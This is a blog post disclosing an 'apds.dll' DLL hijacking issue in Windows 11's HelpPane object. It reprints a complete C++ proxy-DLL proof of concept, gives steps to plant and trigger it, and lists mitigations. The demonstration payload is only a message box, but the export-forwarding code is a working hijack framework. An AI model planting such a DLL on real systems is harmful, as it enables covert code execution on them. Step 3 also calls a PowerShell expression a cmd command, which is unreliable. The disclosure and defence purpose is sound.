Decoding the ‘apds.dll’ DLL Hijacking Vulnerability in Windows 11

In the ever-evolving landscape of cybersecurity, new vulnerabilities and threats emerge constantly.

One such recent discovery involves Microsoft’s latest operating system, Windows 11, and a DLL hijacking vulnerability concerning ‘apds.dll’.

This issue is a stark reminder of the intricate complexities and potential weaknesses within even the most advanced systems.

This blog post delves into the nuances of this security challenge, its implications for users, and how it can be mitigated.

Understanding the ‘apds.dll’ DLL Exploitation in Windows 11

The ‘apds.dll’ DLL manipulation weakness in Microsoft Windows 11 constitutes a security challenge classified under DLL (Dynamic Link Library) manipulation or preloading.

Instead of the genuine system DLL, a harmful DLL file is loaded and run. This can be exploited by cyber attackers who place a malevolent DLL in a spot where the operating system looks for DLLs to load, leveraging the sequence in which the system scans directories or specific filenames that the OS seeks.

This technique is often referred to as ‘DLL Search Order Hijacking’. It’s a common method used by attackers to trick the system into running malicious code.

Moreover, specific filenames sought by the OS can be another avenue for exploitation. If an attacker knows the name of the DLL file that a program needs, they can create a malicious file with the same name and place it in a directory that the system will scan first. This results in the execution of the malicious DLL, posing a serious threat to the system’s security.

Overview

The ‘apds.dll’ DLL hijacking issue, a forced variant, was identified in Microsoft Windows 11 by Moein Shahabi. This discovery was made on September 1, 2023.

The tests were conducted on Windows 11 Pro version 10.0.22621 and specifically on the English version of Windows 11_x64.

The HelpPane object in Windows 11 opens up the possibility for forced DLL hijacking, specifically targeting the ‘apds.dll’ file.

Essentially, this means that the HelpPane object, which is a part of the system’s user interface and typically used for providing assistance to users, can unfortunately be manipulated in a way that allows for the unauthorized control of the ‘apds.dll’ file.

This DLL file, when hijacked, can be made to execute actions that it normally wouldn’t, thus compromising the security of the system.

This type of forced DLL hijacking is a serious concern as it can potentially open up the system to various security threats.

Proof-of-Concept (PoC):

#pragma once
#include <Windows.h>



// Function executed when the thread starts
extern "C" __declspec(dllexport)
DWORD WINAPI MessageBoxThread(LPVOID lpParam) {
    MessageBox(NULL, L"DLL Hijacked!", L"DLL Hijacked!", NULL);
    return 0;
}

PBYTE AllocateUsableMemory(PBYTE baseAddress, DWORD size, DWORD protection = PAGE_READWRITE) {
#ifdef _WIN64
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);
    PIMAGE_OPTIONAL_HEADER optionalHeader = &ntHeaders->OptionalHeader;

    // Create some breathing room
    baseAddress = baseAddress + optionalHeader->SizeOfImage;

    for (PBYTE offset = baseAddress; offset < baseAddress + MAXDWORD; offset += 1024 * 8) {
        PBYTE usuable = (PBYTE)VirtualAlloc(
            offset,
            size,
            MEM_RESERVE | MEM_COMMIT,
            protection);

        if (usuable) {
            ZeroMemory(usuable, size); // Not sure if this is required
            return usuable;
        }
    }
#else
    // x86 doesn't matter where we allocate

    PBYTE usuable = (PBYTE)VirtualAlloc(
        NULL,
        size,
        MEM_RESERVE | MEM_COMMIT,
        protection);

    if (usuable) {
        ZeroMemory(usuable, size);
        return usuable;
    }
#endif
    return 0;
}

BOOL ProxyExports(HMODULE ourBase, HMODULE targetBase)
{
#ifdef _WIN64
    BYTE jmpPrefix[] = { 0x48, 0xb8 }; // Mov Rax <Addr>
    BYTE jmpSuffix[] = { 0xff, 0xe0 }; // Jmp Rax
#else
    BYTE jmpPrefix[] = { 0xb8 }; // Mov Eax <Addr>
    BYTE jmpSuffix[] = { 0xff, 0xe0 }; // Jmp Eax
#endif

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetBase;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);
    PIMAGE_OPTIONAL_HEADER optionalHeader = &ntHeaders->OptionalHeader;
    PIMAGE_DATA_DIRECTORY exportDataDirectory = &optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    if (exportDataDirectory->Size == 0)
        return FALSE; // Nothing to forward

    PIMAGE_EXPORT_DIRECTORY targetExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)dosHeader + exportDataDirectory->VirtualAddress);

    if (targetExportDirectory->NumberOfFunctions != targetExportDirectory->NumberOfNames)
        return FALSE; // TODO: Add support for DLLs with mixed ordinals

    dosHeader = (PIMAGE_DOS_HEADER)ourBase;
    ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);
    optionalHeader = &ntHeaders->OptionalHeader;
    exportDataDirectory = &optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    if (exportDataDirectory->Size == 0)
        return FALSE; // Our DLL is broken

    PIMAGE_EXPORT_DIRECTORY ourExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)dosHeader + exportDataDirectory->VirtualAddress);

    // ----------------------------------

    // Make current header data RW for redirections
    DWORD oldProtect = 0;
    if (!VirtualProtect(
        ourExportDirectory,
        64, PAGE_READWRITE,
        &oldProtect)) {
        return FALSE;
    }

    DWORD totalAllocationSize = 0;

    // Add the size of jumps
    totalAllocationSize += targetExportDirectory->NumberOfFunctions * (sizeof(jmpPrefix) + sizeof(jmpSuffix) + sizeof(LPVOID));

    // Add the size of function table
    totalAllocationSize += targetExportDirectory->NumberOfFunctions * sizeof(INT);

    // Add total size of names
    PINT targetAddressOfNames = (PINT)((PBYTE)targetBase + targetExportDirectory->AddressOfNames);
    for (DWORD i = 0; i < targetExportDirectory->NumberOfNames; i++)
        totalAllocationSize += (DWORD)strlen(((LPCSTR)((PBYTE)targetBase + targetAddressOfNames[i]))) + 1;

    // Add size of name table
    totalAllocationSize += targetExportDirectory->NumberOfNames * sizeof(INT);

    // Add the size of ordinals:
    totalAllocationSize += targetExportDirectory->NumberOfFunctions * sizeof(USHORT);

    // Allocate usuable memory for rebuilt export data
    PBYTE exportData = AllocateUsableMemory((PBYTE)ourBase, totalAllocationSize, PAGE_READWRITE);
    if (!exportData)
        return FALSE;

    PBYTE sideAllocation = exportData; // Used for VirtualProtect later

    // Copy Function Table
    PINT newFunctionTable = (PINT)exportData;
    CopyMemory(newFunctionTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNames, targetExportDirectory->NumberOfFunctions * sizeof(INT));
    exportData += targetExportDirectory->NumberOfFunctions * sizeof(INT);
    ourExportDirectory->AddressOfFunctions = (DWORD)((PBYTE)newFunctionTable - (PBYTE)ourBase);

    // Write JMPs and update RVAs in the new function table
    PINT targetAddressOfFunctions = (PINT)((PBYTE)targetBase + targetExportDirectory->AddressOfFunctions);
    for (DWORD i = 0; i < targetExportDirectory->NumberOfFunctions; i++) {
        newFunctionTable[i] = (DWORD)(exportData - (PBYTE)ourBase);

        CopyMemory(exportData, jmpPrefix, sizeof(jmpPrefix));
        exportData += sizeof(jmpPrefix);

        PBYTE realAddress = (PBYTE)((PBYTE)targetBase + targetAddressOfFunctions[i]);
        CopyMemory(exportData, &realAddress, sizeof(LPVOID));
        exportData += sizeof(LPVOID);

        CopyMemory(exportData, jmpSuffix, sizeof(jmpSuffix));
        exportData += sizeof(jmpSuffix);
    }

    // Copy Name RVA Table
    PINT newNameTable = (PINT)exportData;
    CopyMemory(newNameTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNames, targetExportDirectory->NumberOfNames * sizeof(DWORD));
    exportData += targetExportDirectory->NumberOfNames * sizeof(DWORD);
    ourExportDirectory->AddressOfNames = (DWORD)((PBYTE)newNameTable - (PBYTE)ourBase);

    // Copy names and apply delta to all the RVAs in the new name table
    for (DWORD i = 0; i < targetExportDirectory->NumberOfNames; i++) {
        PBYTE realAddress = (PBYTE)((PBYTE)targetBase + targetAddressOfNames[i]);
        DWORD length = (DWORD)strlen((LPCSTR)realAddress);
        CopyMemory(exportData, realAddress, length);
        newNameTable[i] = (DWORD)((PBYTE)exportData - (PBYTE)ourBase);
        exportData += length + 1;
    }

    // Copy Ordinal Table
    PINT newOrdinalTable = (PINT)exportData;
    CopyMemory(newOrdinalTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNameOrdinals, targetExportDirectory->NumberOfFunctions * sizeof(USHORT));
    exportData += targetExportDirectory->NumberOfFunctions * sizeof(USHORT);
    ourExportDirectory->AddressOfNameOrdinals = (DWORD)((PBYTE)newOrdinalTable - (PBYTE)ourBase);

    // Set our counts straight
    ourExportDirectory->NumberOfFunctions = targetExportDirectory->NumberOfFunctions;
    ourExportDirectory->NumberOfNames = targetExportDirectory->NumberOfNames;

    if (!VirtualProtect(
        ourExportDirectory,
        64, oldProtect,
        &oldProtect)) {
        return FALSE;
    }

    if (!VirtualProtect(
        sideAllocation,
        totalAllocationSize,
        PAGE_EXECUTE_READ,
        &oldProtect)) {
        return FALSE;
    }

    return TRUE;
}
// Executed when the DLL is loaded (traditionally or through reflective injection)
BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    HMODULE realDLL;
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        CreateThread(NULL, NULL, MessageBoxThread, NULL, NULL, NULL);
        realDLL = LoadLibrary(L"C:\\Windows\\System32\\apds.dll");
        if (realDLL)
            ProxyExports(hModule, realDLL);


    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Steps to Replicate the Issue

  1. DLL Compilation: The first step involves compiling the DLL. This is a crucial process that prepares the DLL for execution.
  2. DLL Placement: After compiling the DLL, the next step is to place the newly compiled ‘apds.dll’ into the “C:\Windows” directory. This is where the operating system typically looks to load DLL files.
  3. Command Execution: Now, open the command prompt (cmd) and enter the following command to test the HelpPane object: “[System.Activator]::CreateInstance([Type]::GetTypeFromCLSID(‘8CEC58AE-07A1-11D9-B15E-000D56BFE6EE’))”. This command activates the HelpPane object and initiates the DLL hijacking process.
  4. DLL Hijacking Confirmation: If everything has been executed correctly, the DLL hijacking is successful. This is a critical security concern that needs to be addressed promptly.

Mitigations

Addressing and preventing the ‘apds.dll’ DLL hijacking issue in Windows 11 requires a multi-faceted approach.

Here are some suggested mitigation strategies:

1. Regular System Updates: Ensure that your operating system is up to date with the latest patches and security updates from Microsoft. These updates often include fixes for known vulnerabilities, including potential DLL hijacking issues.

2. User Access Control: Restrict user privileges on your system. The fewer privileges a user has, the less damage can be done in the event of a successful hijacking.

3. Implement DLL Safe Loading: Windows provides a mechanism called ‘Safe DLL search mode’. When this mode is enabled, the system searches for DLLs in a specific order, prioritizing system directories over others. This can prevent a malicious DLL from being loaded instead of the intended one.

4. Software Whitelisting: Only allow approved software to run on your system. Whitelisting software can prevent the execution of potentially harmful programs.

5. Regular System Scans: Use reliable antivirus software to perform regular scans of your system. This can help detect and remove any malicious files before they can create serious problems.

6. Security Awareness: Educate users about the risks of DLL hijacking and the importance of not downloading or executing unknown files.

Remember, these mitigations are not foolproof. Always stay vigilant and proactive in maintaining the security of your system.

Conclusion

The ‘apds.dll’ DLL hijacking vulnerability in Windows 11 serves as a wakeup call to all users about the importance of robust cybersecurity measures.

While Microsoft continues to patch its software and address these issues, the onus also falls on users to maintain their system’s security.

Regular updates, limited user privileges, safe DLL loading, and increased security awareness are all crucial in safeguarding against such threats.

As we navigate the digital age, vigilance and proactive defense will remain our most effective tools against cyber threats.